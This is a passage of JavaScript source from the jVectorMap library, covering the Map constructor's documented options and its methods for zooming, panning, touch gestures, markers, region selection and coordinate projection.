 * @param {String} params.backgroundColor Background color of the map in CSS format.
 * @param {Boolean} params.zoomOnScroll When set to true map could be zoomed using mouse scroll. Default value is <code>true</code>.
 * @param {Boolean} params.zoomOnScrollSpeed Mouse scroll speed. Number from 1 to 10. Default value is <code>3</code>.
 * @param {Boolean} params.panOnDrag When set to true, the map pans when being dragged. Default value is <code>true</code>.
 * @param {Number} params.zoomMax Indicates the maximum zoom ratio which could be reached zooming the map. Default value is <code>8</code>.
 * @param {Number} params.zoomMin Indicates the minimum zoom ratio which could be reached zooming the map. Default value is <code>1</code>.
 * @param {Number} params.zoomStep Indicates the multiplier used to zoom map with +/- buttons. Default value is <code>1.6</code>.
 * @param {Boolean} params.zoomAnimate Indicates whether or not to animate changing of map zoom with zoom buttons.
 * @param {Boolean} params.regionsSelectable When set to true regions of the map could be selected. Default value is <code>false</code>.
 * @param {Boolean} params.regionsSelectableOne Allow only one region to be selected at the moment. Default value is <code>false</code>.
 * @param {Boolean} params.markersSelectable When set to true markers on the map could be selected. Default value is <code>false</code>.
 * @param {Boolean} params.markersSelectableOne Allow only one marker to be selected at the moment. Default value is <code>false</code>.
 * @param {Object} params.regionStyle Set the styles for the map's regions. Each region or marker has four states: <code>initial</code> (default state), <code>hover</code> (when the mouse cursor is over the region or marker), <code>selected</code> (when region or marker is selected), <code>selectedHover</code> (when the mouse cursor is over the region or marker and it's selected simultaneously). Styles could be set for each of this states. Default value for that parameter is:
<pre>{
  initial: {
    fill: 'white',
    "fill-opacity": 1,
    stroke: 'none',
    "stroke-width": 0,
    "stroke-opacity": 1
  },
  hover: {
    "fill-opacity": 0.8,
    cursor: 'pointer'
  },
  selected: {
    fill: 'yellow'
  },
  selectedHover: {
  }
}</pre>
* @param {Object} params.regionLabelStyle Set the styles for the regions' labels. Each region or marker has four states: <code>initial</code> (default state), <code>hover</code> (when the mouse cursor is over the region or marker), <code>selected</code> (when region or marker is selected), <code>selectedHover</code> (when the mouse cursor is over the region or marker and it's selected simultaneously). Styles could be set for each of this states. Default value for that parameter is:
<pre>{
  initial: {
    'font-family': 'Verdana',
    'font-size': '12',
    'font-weight': 'bold',
    cursor: 'default',
    fill: 'black'
  },
  hover: {
    cursor: 'pointer'
  }
}</pre>
 * @param {Object} params.markerStyle Set the styles for the map's markers. Any parameter suitable for <code>regionStyle</code> could be used as well as numeric parameter <code>r</code> to set the marker's radius. Default value for that parameter is:
<pre>{
  initial: {
    fill: 'grey',
    stroke: '#505050',
    "fill-opacity": 1,
    "stroke-width": 1,
    "stroke-opacity": 1,
    r: 5
  },
  hover: {
    stroke: 'black',
    "stroke-width": 2,
    cursor: 'pointer'
  },
  selected: {
    fill: 'blue'
  },
  selectedHover: {
  }
}</pre>
 * @param {Object} params.markerLabelStyle Set the styles for the markers' labels. Default value for that parameter is:
<pre>{
  initial: {
    'font-family': 'Verdana',
    'font-size': '12',
    'font-weight': 'bold',
    cursor: 'default',
    fill: 'black'
  },
  hover: {
    cursor: 'pointer'
  }
}</pre>
 * @param {Object|Array} params.markers Set of markers to add to the map during initialization. In case of array is provided, codes of markers will be set as string representations of array indexes. Each marker is represented by <code>latLng</code> (array of two numeric values), <code>name</code> (string which will be show on marker's tip) and any marker styles.
 * @param {Object} params.series Object with two keys: <code>markers</code> and <code>regions</code>. Each of which is an array of series configs to be applied to the respective map elements. See <a href="jvm.DataSeries.html">DataSeries</a> description for a list of parameters available.
 * @param {Object|String} params.focusOn This parameter sets the initial position and scale of the map viewport. See <code>setFocus</code> docuemntation for possible parameters.
 * @param {Object} params.labels Defines parameters for rendering static labels. Object could contain two keys: <code>regions</code> and <code>markers</code>. Each key value defines configuration object with the following possible options:
<ul>
  <li><code>render {Function}</code> - defines method for converting region code or marker index to actual label value.</li>
  <li><code>offsets {Object|Function}</code> - provides method or object which could be used to define label offset by region code or marker index.</li>
</ul>
<b>Plase note: static labels feature is not supported in Internet Explorer 8 and below.</b>
 * @param {Array|Object|String} params.selectedRegions Set initially selected regions.
 * @param {Array|Object|String} params.selectedMarkers Set initially selected markers.
 * @param {Function} params.onRegionTipShow <code>(Event e, Object tip, String code)</code> Will be called right before the region tip is going to be shown.
 * @param {Function} params.onRegionOver <code>(Event e, String code)</code> Will be called on region mouse over event.
 * @param {Function} params.onRegionOut <code>(Event e, String code)</code> Will be called on region mouse out event.
 * @param {Function} params.onRegionClick <code>(Event e, String code)</code> Will be called on region click event.
 * @param {Function} params.onRegionSelected <code>(Event e, String code, Boolean isSelected, Array selectedRegions)</code> Will be called when region is (de)selected. <code>isSelected</code> parameter of the callback indicates whether region is selected or not. <code>selectedRegions</code> contains codes of all currently selected regions.
 * @param {Function} params.onMarkerTipShow <code>(Event e, Object tip, String code)</code> Will be called right before the marker tip is going to be shown.
 * @param {Function} params.onMarkerOver <code>(Event e, String code)</code> Will be called on marker mouse over event.
 * @param {Function} params.onMarkerOut <code>(Event e, String code)</code> Will be called on marker mouse out event.
 * @param {Function} params.onMarkerClick <code>(Event e, String code)</code> Will be called on marker click event.
 * @param {Function} params.onMarkerSelected <code>(Event e, String code, Boolean isSelected, Array selectedMarkers)</code> Will be called when marker is (de)selected. <code>isSelected</code> parameter of the callback indicates whether marker is selected or not. <code>selectedMarkers</code> contains codes of all currently selected markers.
 * @param {Function} params.onViewportChange <code>(Event e, Number scale)</code> Triggered when the map's viewport is changed (map was panned or zoomed).
 */
jvm.Map = function(params) {
  var map = this,
      e;

  this.params = jvm.$.extend(true, {}, jvm.Map.defaultParams, params);

  if (!jvm.Map.maps[this.params.map]) {
    throw new Error('Attempt to use map which was not loaded: '+this.params.map);
  }

  this.mapData = jvm.Map.maps[this.params.map];
  this.markers = {};
  this.regions = {};
  this.regionsColors = {};
  this.regionsData = {};

  this.container = jvm.$('<div>').addClass('jvectormap-container');
  if (this.params.container) {
    this.params.container.append( this.container );
  }
  this.container.data('mapObject', this);

  this.defaultWidth = this.mapData.width;
  this.defaultHeight = this.mapData.height;

  this.setBackgroundColor(this.params.backgroundColor);

  this.onResize = function(){
    map.updateSize();
  }
  jvm.$(window).resize(this.onResize);

  for (e in jvm.Map.apiEvents) {
    if (this.params[e]) {
      this.container.bind(jvm.Map.apiEvents[e]+'.jvectormap', this.params[e]);
    }
  }

  this.canvas = new jvm.VectorCanvas(this.container[0], this.width, this.height);

  if (this.params.bindTouchEvents) {
    if (('ontouchstart' in window) || (window.DocumentTouch && document instanceof DocumentTouch)) {
      this.bindContainerTouchEvents();
    } else if (window.MSGesture) {
      this.bindContainerPointerEvents();
    }
  }
  this.bindContainerEvents();
  this.bindElementEvents();
  this.createTip();
  if (this.params.zoomButtons) {
    this.bindZoomButtons();
  }

  this.createRegions();
  this.createMarkers(this.params.markers || {});

  this.updateSize();

  if (this.params.focusOn) {
    if (typeof this.params.focusOn === 'string') {
      this.params.focusOn = {region: this.params.focusOn};
    } else if (jvm.$.isArray(this.params.focusOn)) {
      this.params.focusOn = {regions: this.params.focusOn};
    }
    this.setFocus(this.params.focusOn);
  }

  if (this.params.selectedRegions) {
    this.setSelectedRegions(this.params.selectedRegions);
  }
  if (this.params.selectedMarkers) {
    this.setSelectedMarkers(this.params.selectedMarkers);
  }

  this.legendCntHorizontal = jvm.$('<div/>').addClass('jvectormap-legend-cnt jvectormap-legend-cnt-h');
  this.legendCntVertical = jvm.$('<div/>').addClass('jvectormap-legend-cnt jvectormap-legend-cnt-v');
  this.container.append(this.legendCntHorizontal);
  this.container.append(this.legendCntVertical);

  if (this.params.series) {
    this.createSeries();
  }
};

jvm.Map.prototype = {
  transX: 0,
  transY: 0,
  scale: 1,
  baseTransX: 0,
  baseTransY: 0,
  baseScale: 1,

  width: 0,
  height: 0,

  /**
   * Set background color of the map.
   * @param {String} backgroundColor Background color in CSS format.
   */
  setBackgroundColor: function(backgroundColor) {
    this.container.css('background-color', backgroundColor);
  },

  resize: function() {
    var curBaseScale = this.baseScale;
    if (this.width / this.height > this.defaultWidth / this.defaultHeight) {
      this.baseScale = this.height / this.defaultHeight;
      this.baseTransX = Math.abs(this.width - this.defaultWidth * this.baseScale) / (2 * this.baseScale);
    } else {
      this.baseScale = this.width / this.defaultWidth;
      this.baseTransY = Math.abs(this.height - this.defaultHeight * this.baseScale) / (2 * this.baseScale);
    }
    this.scale *= this.baseScale / curBaseScale;
    this.transX *= this.baseScale / curBaseScale;
    this.transY *= this.baseScale / curBaseScale;
  },

  /**
   * Synchronize the size of the map with the size of the container. Suitable in situations where the size of the container is changed programmatically or container is shown after it became visible.
   */
  updateSize: function(){
    this.width = this.container.width();
    this.height = this.container.height();
    this.resize();
    this.canvas.setSize(this.width, this.height);
    this.applyTransform();
  },

  /**
   * Reset all the series and show the map with the initial zoom.
   */
  reset: function() {
    var key,
        i;

    for (key in this.series) {
      for (i = 0; i < this.series[key].length; i++) {
        this.series[key][i].clear();
      }
    }
    this.scale = this.baseScale;
    this.transX = this.baseTransX;
    this.transY = this.baseTransY;
    this.applyTransform();
  },

  applyTransform: function() {
    var maxTransX,
        maxTransY,
        minTransX,
        minTransY;

    if (this.defaultWidth * this.scale <= this.width) {
      maxTransX = (this.width - this.defaultWidth * this.scale) / (2 * this.scale);
      minTransX = (this.width - this.defaultWidth * this.scale) / (2 * this.scale);
    } else {
      maxTransX = 0;
      minTransX = (this.width - this.defaultWidth * this.scale) / this.scale;
    }

    if (this.defaultHeight * this.scale <= this.height) {
      maxTransY = (this.height - this.defaultHeight * this.scale) / (2 * this.scale);
      minTransY = (this.height - this.defaultHeight * this.scale) / (2 * this.scale);
    } else {
      maxTransY = 0;
      minTransY = (this.height - this.defaultHeight * this.scale) / this.scale;
    }

    if (this.transY > maxTransY) {
      this.transY = maxTransY;
    } else if (this.transY < minTransY) {
      this.transY = minTransY;
    }
    if (this.transX > maxTransX) {
      this.transX = maxTransX;
    } else if (this.transX < minTransX) {
      this.transX = minTransX;
    }

    this.canvas.applyTransformParams(this.scale, this.transX, this.transY);

    if (this.markers) {
      this.repositionMarkers();
    }

    this.repositionLabels();

    this.container.trigger('viewportChange', [this.scale/this.baseScale, this.transX, this.transY]);
  },

  bindContainerEvents: function(){
    var mouseDown = false,
        oldPageX,
        oldPageY,
        map = this;

    if (this.params.panOnDrag) {
      this.container.mousemove(function(e){
        if (mouseDown) {
          map.transX -= (oldPageX - e.pageX) / map.scale;
          map.transY -= (oldPageY - e.pageY) / map.scale;

          map.applyTransform();

          oldPageX = e.pageX;
          oldPageY = e.pageY;
        }
        return false;
      }).mousedown(function(e){
        mouseDown = true;
        oldPageX = e.pageX;
        oldPageY = e.pageY;
        return false;
      });

      this.onContainerMouseUp = function(){
        mouseDown = false;
      };
      jvm.$('body').mouseup(this.onContainerMouseUp);
    }

    if (this.params.zoomOnScroll) {
      this.container.mousewheel(function(event, delta, deltaX, deltaY) {
        var offset = jvm.$(map.container).offset(),
            centerX = event.pageX - offset.left,
            centerY = event.pageY - offset.top,
            zoomStep = Math.pow(1 + map.params.zoomOnScrollSpeed / 1000, event.deltaFactor * event.deltaY);

        map.tip.hide();

        map.setScale(map.scale * zoomStep, centerX, centerY);
        event.preventDefault();
      });
    }
  },

  bindContainerTouchEvents: function(){
    var touchStartScale,
        touchStartDistance,
        map = this,
        touchX,
        touchY,
        centerTouchX,
        centerTouchY,
        lastTouchesLength,
        handleTouchEvent = function(e){
          var touches = e.originalEvent.touches,
              offset,
              scale,
              transXOld,
              transYOld;

          if (e.type == 'touchstart') {
            lastTouchesLength = 0;
          }

          if (touches.length == 1) {
            if (lastTouchesLength == 1) {
              transXOld = map.transX;
              transYOld = map.transY;
              map.transX -= (touchX - touches[0].pageX) / map.scale;
              map.transY -= (touchY - touches[0].pageY) / map.scale;
              map.applyTransform();
              map.tip.hide();
              if (transXOld != map.transX || transYOld != map.transY) {
                e.preventDefault();
              }
            }
            touchX = touches[0].pageX;
            touchY = touches[0].pageY;
          } else if (touches.length == 2) {
            if (lastTouchesLength == 2) {
              scale = Math.sqrt(
                Math.pow(touches[0].pageX - touches[1].pageX, 2) +
                Math.pow(touches[0].pageY - touches[1].pageY, 2)
              ) / touchStartDistance;
              map.setScale(
                touchStartScale * scale,
                centerTouchX,
                centerTouchY
              )
              map.tip.hide();
              e.preventDefault();
            } else {
              offset = jvm.$(map.container).offset();
              if (touches[0].pageX > touches[1].pageX) {
                centerTouchX = touches[1].pageX + (touches[0].pageX - touches[1].pageX) / 2;
              } else {
                centerTouchX = touches[0].pageX + (touches[1].pageX - touches[0].pageX) / 2;
              }
              if (touches[0].pageY > touches[1].pageY) {
                centerTouchY = touches[1].pageY + (touches[0].pageY - touches[1].pageY) / 2;
              } else {
                centerTouchY = touches[0].pageY + (touches[1].pageY - touches[0].pageY) / 2;
              }
              centerTouchX -= offset.left;
              centerTouchY -= offset.top;
              touchStartScale = map.scale;
              touchStartDistance = Math.sqrt(
                Math.pow(touches[0].pageX - touches[1].pageX, 2) +
                Math.pow(touches[0].pageY - touches[1].pageY, 2)
              );
            }
          }

          lastTouchesLength = touches.length;
        };

    jvm.$(this.container).bind('touchstart', handleTouchEvent);
    jvm.$(this.container).bind('touchmove', handleTouchEvent);
  },

  bindContainerPointerEvents: function(){
    var map = this,
        gesture = new MSGesture(),
        element = this.container[0],
        handlePointerDownEvent = function(e){
          gesture.addPointer(e.pointerId);
        },
        handleGestureEvent = function(e){
          var offset,
              scale,
              transXOld,
              transYOld;

          if (e.translationX != 0 || e.translationY != 0) {
            transXOld = map.transX;
            transYOld = map.transY;
            map.transX += e.translationX / map.scale;
            map.transY += e.translationY / map.scale;
            map.applyTransform();
            map.tip.hide();
            if (transXOld != map.transX || transYOld != map.transY) {
              e.preventDefault();
            }
          }
          if (e.scale != 1) {
            map.setScale(
              map.scale * e.scale,
              e.offsetX,
              e.offsetY
            )
            map.tip.hide();
            e.preventDefault();
          }
        };

    gesture.target = element;
    element.addEventListener("MSGestureChange", handleGestureEvent, false);
    element.addEventListener("pointerdown", handlePointerDownEvent, false);
  },

  bindElementEvents: function(){
    var map = this,
        pageX,
        pageY,
        mouseMoved;

    this.container.mousemove(function(e){
      if (Math.abs(pageX - e.pageX) + Math.abs(pageY - e.pageY) > 2) {
        mouseMoved = true;
      }
    });

    /* Can not use common class selectors here because of the bug in jQuery
       SVG handling, use with caution. */
    this.container.delegate("[class~='jvectormap-element']", 'mouseover mouseout', function(e){
      var baseVal = jvm.$(this).attr('class').baseVal || jvm.$(this).attr('class'),
          type = baseVal.indexOf('jvectormap-region') === -1 ? 'marker' : 'region',
          code = type == 'region' ? jvm.$(this).attr('data-code') : jvm.$(this).attr('data-index'),
          element = type == 'region' ? map.regions[code].element : map.markers[code].element,
          tipText = type == 'region' ? map.mapData.paths[code].name : (map.markers[code].config.name || ''),
          tipShowEvent = jvm.$.Event(type+'TipShow.jvectormap'),
          overEvent = jvm.$.Event(type+'Over.jvectormap');

      if (e.type == 'mouseover') {
        map.container.trigger(overEvent, [code]);
        if (!overEvent.isDefaultPrevented()) {
          element.setHovered(true);
        }

        map.tip.text(tipText);
        map.container.trigger(tipShowEvent, [map.tip, code]);
        if (!tipShowEvent.isDefaultPrevented()) {
          map.tip.show();
          map.tipWidth = map.tip.width();
          map.tipHeight = map.tip.height();
        }
      } else {
        element.setHovered(false);
        map.tip.hide();
        map.container.trigger(type+'Out.jvectormap', [code]);
      }
    });

    /* Can not use common class selectors here because of the bug in jQuery
       SVG handling, use with caution. */
    this.container.delegate("[class~='jvectormap-element']", 'mousedown', function(e){
      pageX = e.pageX;
      pageY = e.pageY;
      mouseMoved = false;
    });

    /* Can not use common class selectors here because of the bug in jQuery
       SVG handling, use with caution. */
    this.container.delegate("[class~='jvectormap-element']", 'mouseup', function(){
      var baseVal = jvm.$(this).attr('class').baseVal ? jvm.$(this).attr('class').baseVal : jvm.$(this).attr('class'),
          type = baseVal.indexOf('jvectormap-region') === -1 ? 'marker' : 'region',
          code = type == 'region' ? jvm.$(this).attr('data-code') : jvm.$(this).attr('data-index'),
          clickEvent = jvm.$.Event(type+'Click.jvectormap'),
          element = type == 'region' ? map.regions[code].element : map.markers[code].element;

      if (!mouseMoved) {
        map.container.trigger(clickEvent, [code]);
        if ((type === 'region' && map.params.regionsSelectable) || (type === 'marker' && map.params.markersSelectable)) {
          if (!clickEvent.isDefaultPrevented()) {
            if (map.params[type+'sSelectableOne']) {
              map.clearSelected(type+'s');
            }
            element.setSelected(!element.isSelected);
          }
        }
      }
    });
  },

  bindZoomButtons: function() {
    var map = this;

    jvm.$('<div/>').addClass('jvectormap-zoomin').text('+').appendTo(this.container);
    jvm.$('<div/>').addClass('jvectormap-zoomout').html('&#x2212;').appendTo(this.container);

    this.container.find('.jvectormap-zoomin').click(function(){
      map.setScale(map.scale * map.params.zoomStep, map.width / 2, map.height / 2, false, map.params.zoomAnimate);
    });
    this.container.find('.jvectormap-zoomout').click(function(){
      map.setScale(map.scale / map.params.zoomStep, map.width / 2, map.height / 2, false, map.params.zoomAnimate);
    });
  },

  createTip: function(){
    var map = this;

    this.tip = jvm.$('<div/>').addClass('jvectormap-tip').appendTo(jvm.$('body'));

    this.container.mousemove(function(e){
      var left = e.pageX-15-map.tipWidth,
          top = e.pageY-15-map.tipHeight;

      if (left < 5) {
        left = e.pageX + 15;
      }
      if (top < 5) {
        top = e.pageY + 15;
      }

      map.tip.css({
        left: left,
        top: top
      });
    });
  },

  setScale: function(scale, anchorX, anchorY, isCentered, animate) {
    var viewportChangeEvent = jvm.$.Event('zoom.jvectormap'),
        interval,
        that = this,
        i = 0,
        count = Math.abs(Math.round((scale - this.scale) * 60 / Math.max(scale, this.scale))),
        scaleStart,
        scaleDiff,
        transXStart,
        transXDiff,
        transYStart,
        transYDiff,
        transX,
        transY,
        deferred = new jvm.$.Deferred();

    if (scale > this.params.zoomMax * this.baseScale) {
      scale = this.params.zoomMax * this.baseScale;
    } else if (scale < this.params.zoomMin * this.baseScale) {
      scale = this.params.zoomMin * this.baseScale;
    }

    if (typeof anchorX != 'undefined' && typeof anchorY != 'undefined') {
      zoomStep = scale / this.scale;
      if (isCentered) {
        transX = anchorX + this.defaultWidth * (this.width / (this.defaultWidth * scale)) / 2;
        transY = anchorY + this.defaultHeight * (this.height / (this.defaultHeight * scale)) / 2;
      } else {
        transX = this.transX - (zoomStep - 1) / scale * anchorX;
        transY = this.transY - (zoomStep - 1) / scale * anchorY;
      }
    }

    if (animate && count > 0)  {
      scaleStart = this.scale;
      scaleDiff = (scale - scaleStart) / count;
      transXStart = this.transX * this.scale;
      transYStart = this.transY * this.scale;
      transXDiff = (transX * scale - transXStart) / count;
      transYDiff = (transY * scale - transYStart) / count;
      interval = setInterval(function(){
        i += 1;
        that.scale = scaleStart + scaleDiff * i;
        that.transX = (transXStart + transXDiff * i) / that.scale;
        that.transY = (transYStart + transYDiff * i) / that.scale;
        that.applyTransform();
        if (i == count) {
          clearInterval(interval);
          that.container.trigger(viewportChangeEvent, [scale/that.baseScale]);
          deferred.resolve();
        }
      }, 10);
    } else {
      this.transX = transX;
      this.transY = transY;
      this.scale = scale;
      this.applyTransform();
      this.container.trigger(viewportChangeEvent, [scale/this.baseScale]);
      deferred.resolve();
    }

    return deferred;
  },

  /**
   * Set the map's viewport to the specific point and set zoom of the map to the specific level. Point and zoom level could be defined in two ways: using the code of some region to focus on or a central point and zoom level as numbers.
   * @param This method takes a configuration object as the single argument. The options passed to it are the following:
   * @param {Array} params.regions Array of region codes to zoom to.
   * @param {String} params.region Region code to zoom to.
   * @param {Number} params.scale Map scale to set.
   * @param {Number} params.lat Latitude to set viewport to.
   * @param {Number} params.lng Longitude to set viewport to.
   * @param {Number} params.x Number from 0 to 1 specifying the horizontal coordinate of the central point of the viewport.
   * @param {Number} params.y Number from 0 to 1 specifying the vertical coordinate of the central point of the viewport.
   * @param {Boolean} params.animate Indicates whether or not to animate the scale change and transition.
   */
  setFocus: function(config){
    var bbox,
        itemBbox,
        newBbox,
        codes,
        i,
        point;

    config = config || {};

    if (config.region) {
      codes = [config.region];
    } else if (config.regions) {
      codes = config.regions;
    }

    if (codes) {
      for (i = 0; i < codes.length; i++) {
        if (this.regions[codes[i]]) {
          itemBbox = this.regions[codes[i]].element.shape.getBBox();
          if (itemBbox) {
            if (typeof bbox == 'undefined') {
              bbox = itemBbox;
            } else {
              newBbox = {
                x: Math.min(bbox.x, itemBbox.x),
                y: Math.min(bbox.y, itemBbox.y),
                width: Math.max(bbox.x + bbox.width, itemBbox.x + itemBbox.width) - Math.min(bbox.x, itemBbox.x),
                height: Math.max(bbox.y + bbox.height, itemBbox.y + itemBbox.height) - Math.min(bbox.y, itemBbox.y)
              }
              bbox = newBbox;
            }
          }
        }
      }
      return this.setScale(
        Math.min(this.width / bbox.width, this.height / bbox.height),
        - (bbox.x + bbox.width / 2),
        - (bbox.y + bbox.height / 2),
        true,
        config.animate
      );
    } else {
      if (config.lat && config.lng) {
        point = this.latLngToPoint(config.lat, config.lng);
        config.x = this.transX - point.x / this.scale;
        config.y = this.transY - point.y / this.scale;
      } else if (config.x && config.y) {
        config.x *= -this.defaultWidth;
        config.y *= -this.defaultHeight;
      }
      return this.setScale(config.scale * this.baseScale, config.x, config.y, true, config.animate);
    }
  },

  getSelected: function(type){
    var key,
        selected = [];

    for (key in this[type]) {
      if (this[type][key].element.isSelected) {
        selected.push(key);
      }
    }
    return selected;
  },

  /**
   * Return the codes of currently selected regions.
   * @returns {Array}
   */
  getSelectedRegions: function(){
    return this.getSelected('regions');
  },

  /**
   * Return the codes of currently selected markers.
   * @returns {Array}
   */
  getSelectedMarkers: function(){
    return this.getSelected('markers');
  },

  setSelected: function(type, keys){
    var i;

    if (typeof keys != 'object') {
      keys = [keys];
    }

    if (jvm.$.isArray(keys)) {
      for (i = 0; i < keys.length; i++) {
        this[type][keys[i]].element.setSelected(true);
      }
    } else {
      for (i in keys) {
        this[type][i].element.setSelected(!!keys[i]);
      }
    }
  },

  /**
   * Set or remove selected state for the regions.
   * @param {String|Array|Object} keys If <code>String</code> or <code>Array</code> the region(s) with the corresponding code(s) will be selected. If <code>Object</code> was provided its keys are  codes of regions, state of which should be changed. Selected state will be set if value is true, removed otherwise.
   */
  setSelectedRegions: function(keys){
    this.setSelected('regions', keys);
  },

  /**
   * Set or remove selected state for the markers.
   * @param {String|Array|Object} keys If <code>String</code> or <code>Array</code> the marker(s) with the corresponding code(s) will be selected. If <code>Object</code> was provided its keys are  codes of markers, state of which should be changed. Selected state will be set if value is true, removed otherwise.
   */
  setSelectedMarkers: function(keys){
    this.setSelected('markers', keys);
  },

  clearSelected: function(type){
    var select = {},
        selected = this.getSelected(type),
        i;

    for (i = 0; i < selected.length; i++) {
      select[selected[i]] = false;
    };

    this.setSelected(type, select);
  },

  /**
   * Remove the selected state from all the currently selected regions.
   */
  clearSelectedRegions: function(){
    this.clearSelected('regions');
  },

  /**
   * Remove the selected state from all the currently selected markers.
   */
  clearSelectedMarkers: function(){
    this.clearSelected('markers');
  },

  /**
   * Return the instance of Map. Useful when instantiated as a jQuery plug-in.
   * @returns {Map}
   */
  getMapObject: function(){
    return this;
  },

  /**
   * Return the name of the region by region code.
   * @returns {String}
   */
  getRegionName: function(code){
    return this.mapData.paths[code].name;
  },

  createRegions: function(){
    var key,
        region,
        map = this;

    this.regionLabelsGroup = this.regionLabelsGroup || this.canvas.addGroup();

    for (key in this.mapData.paths) {
      region = new jvm.Region({
        map: this,
        path: this.mapData.paths[key].path,
        code: key,
        style: jvm.$.extend(true, {}, this.params.regionStyle),
        labelStyle: jvm.$.extend(true, {}, this.params.regionLabelStyle),
        canvas: this.canvas,
        labelsGroup: this.regionLabelsGroup,
        label: this.canvas.mode != 'vml' ? (this.params.labels && this.params.labels.regions) : null
      });

      jvm.$(region.shape).bind('selected', function(e, isSelected){
        map.container.trigger('regionSelected.jvectormap', [jvm.$(this.node).attr('data-code'), isSelected, map.getSelectedRegions()]);
      });
      this.regions[key] = {
        element: region,
        config: this.mapData.paths[key]
      };
    }
  },

  createMarkers: function(markers) {
    var i,
        marker,
        point,
        markerConfig,
        markersArray,
        map = this;

    this.markersGroup = this.markersGroup || this.canvas.addGroup();
    this.markerLabelsGroup = this.markerLabelsGroup || this.canvas.addGroup();

    if (jvm.$.isArray(markers)) {
      markersArray = markers.slice();
      markers = {};
      for (i = 0; i < markersArray.length; i++) {
        markers[i] = markersArray[i];
      }
    }

    for (i in markers) {
      markerConfig = markers[i] instanceof Array ? {latLng: markers[i]} : markers[i];
      point = this.getMarkerPosition( markerConfig );

      if (point !== false) {
        marker = new jvm.Marker({
          map: this,
          style: jvm.$.extend(true, {}, this.params.markerStyle, {initial: markerConfig.style || {}}),
          labelStyle: jvm.$.extend(true, {}, this.params.markerLabelStyle),
          index: i,
          cx: point.x,
          cy: point.y,
          group: this.markersGroup,
          canvas: this.canvas,
          labelsGroup: this.markerLabelsGroup,
          label: this.canvas.mode != 'vml' ? (this.params.labels && this.params.labels.markers) : null
        });

        jvm.$(marker.shape).bind('selected', function(e, isSelected){
          map.container.trigger('markerSelected.jvectormap', [jvm.$(this.node).attr('data-index'), isSelected, map.getSelectedMarkers()]);
        });
        if (this.markers[i]) {
          this.removeMarkers([i]);
        }
        this.markers[i] = {element: marker, config: markerConfig};
      }
    }
  },

  repositionMarkers: function() {
    var i,
        point;

    for (i in this.markers) {
      point = this.getMarkerPosition( this.markers[i].config );
      if (point !== false) {
        this.markers[i].element.setStyle({cx: point.x, cy: point.y});
      }
    }
  },

  repositionLabels: function() {
    var key;

    for (key in this.regions) {
      this.regions[key].element.updateLabelPosition();
    }

    for (key in this.markers) {
      this.markers[key].element.updateLabelPosition();
    }
  },

  getMarkerPosition: function(markerConfig) {
    if (jvm.Map.maps[this.params.map].projection) {
      return this.latLngToPoint.apply(this, markerConfig.latLng || [0, 0]);
    } else {
      return {
        x: markerConfig.coords[0]*this.scale + this.transX*this.scale,
        y: markerConfig.coords[1]*this.scale + this.transY*this.scale
      };
    }
  },

  /**
   * Add one marker to the map.
   * @param {String} key Marker unique code.
   * @param {Object} marker Marker configuration parameters.
   * @param {Array} seriesData Values to add to the data series.
   */
  addMarker: function(key, marker, seriesData){
    var markers = {},
        data = [],
        values,
        i,
        seriesData = seriesData || [];

    markers[key] = marker;

    for (i = 0; i < seriesData.length; i++) {
      values = {};
      if (typeof seriesData[i] !== 'undefined') {
        values[key] = seriesData[i];
      }
      data.push(values);
    }
    this.addMarkers(markers, data);
  },

  /**
   * Add set of marker to the map.
   * @param {Object|Array} markers Markers to add to the map. In case of array is provided, codes of markers will be set as string representations of array indexes.
   * @param {Array} seriesData Values to add to the data series.
   */
  addMarkers: function(markers, seriesData){
    var i;

    seriesData = seriesData || [];

    this.createMarkers(markers);
    for (i = 0; i < seriesData.length; i++) {
      this.series.markers[i].setValues(seriesData[i] || {});
    };
  },

  /**
   * Remove some markers from the map.
   * @param {Array} markers Array of marker codes to be removed.
   */
  removeMarkers: function(markers){
    var i;

    for (i = 0; i < markers.length; i++) {
      this.markers[ markers[i] ].element.remove();
      delete this.markers[ markers[i] ];
    };
  },

  /**
   * Remove all markers from the map.
   */
  removeAllMarkers: function(){
    var i,
        markers = [];

    for (i in this.markers) {
      markers.push(i);
    }
    this.removeMarkers(markers)
  },

  /**
   * Converts coordinates expressed as latitude and longitude to the coordinates in pixels on the map.
   * @param {Number} lat Latitide of point in degrees.
   * @param {Number} lng Longitude of point in degrees.
   */
  latLngToPoint: function(lat, lng) {
    var point,
        proj = jvm.Map.maps[this.params.map].projection,
        centralMeridian = proj.centralMeridian,
        inset,
        bbox;

    if (lng < (-180 + centralMeridian)) {
      lng += 360;
    }

    point = jvm.Proj[proj.type](lat, lng, centralMeridian);

    inset = this.getInsetForPoint(point.x, point.y);
    if (inset) {
      bbox = inset.bbox;

      point.x = (point.x - bbox[0].x) / (bbox[1].x - bbox[0].x) * inset.width * this.scale;
      point.y = (point.y - bbox[0].y) / (bbox[1].y - bbox[0].y) * inset.height * this.scale;

      return {
        x: point.x + this.transX*this.scale + inset.left*this.scale,
        y: point.y + this.transY*this.scale + inset.top*this.scale
      };
     } else {
       return false;
     }
  },

  /**
   * Converts cartesian coordinates into coordinates expressed as latitude and longitude.
   * @param {Number} x X-axis of point on map in pixels.
   * @param {Number} y Y-axis of point on map in pixels.
   */
  pointToLatLng: function(x, y) {
    var proj = jvm.Map.maps[this.params.map].projection,
        centralMeridian = proj.centralMeridian,
        insets = jvm.Map.maps[this.params.map].insets,
        i,
        inset,
        bbox,
        nx,
        ny;

    for (i = 0; i < insets.length; i++) {
      inset = insets[i];
      bbox = inset.bbox;

      nx = x - (this.transX*this.scale + inset.left*this.scale);
      ny = y - (this.transY*this.scale + inset.top*this.scale);

      nx = (nx / (inset.width * this.scale)) * (bbox[1].x - bbox[0].x) + bbox[0].x;
      ny = (ny / (inset.height * this.scale)) * (bbox[1].y - bbox[0].y) + bbox[0].y;

      if (nx > bbox[0].x && nx < bbox[1].x && ny > bbox[0].y && ny < bbox[1].y) {
        return jvm.Proj[proj.type + '_inv'](nx, -ny, centralMeridian);
      }
    }

    return false;
  },

  getInsetForPoint: function(x, y){
    var insets = jvm.Map.maps[this.params.map].insets,
        i,
        bbox;

    for (i = 0; i < insets.length; i++) {
      bbox = insets[i].bbox;
      if (x > bbox[0].x && x < bbox[1].x && y > bbox[0].y && y < bbox[1].y) {
        return insets[i];
      }
    }
  },

  createSeries: function(){
    var i,
        key;

    this.series = {
      markers: [],
      regions: []
    };

    for (key in this.params.series) {
      for (i = 0; i < this.params.series[key].length; i++) {
        this.series[key][i] = new jvm.DataSeries(
          this.params.series[key][i],
          this[key],
          this
        );
      }
    }
  },

  /**
   * Gracefully remove the map and and all its accessories, unbind event handlers.
   */
  remove: function(){
